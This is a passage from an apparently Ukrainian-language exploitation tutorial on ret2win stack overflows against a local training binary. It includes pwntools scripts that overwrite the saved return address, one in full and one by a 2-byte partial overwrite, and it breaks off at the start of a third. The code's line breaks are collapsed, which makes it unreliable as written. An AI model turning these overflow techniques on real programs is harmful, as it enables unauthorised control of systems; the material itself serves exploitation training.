from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p64(0x00000000004006c4)payload =b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Off-by-1
Насправді це буде більше схоже на off-by-2 у збереженому PC у стеку. Замість того, щоб перезаписувати всю адресу повернення, ми перезапишемо тільки останні 2 байти значенням 0x06c4.
from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p16(0x06c4)payload =b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Без leak ми не знаємо точну адресу виграшної функції, але можемо знати зсув функції від бінарного файлу, і знаючи, що адреса повернення, яку ми перезаписуємо, вже вказує на близьку адресу, можливо отримати зсув до виграшної функції (0x7d4) у цьому випадку і просто використати цей зсув:
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)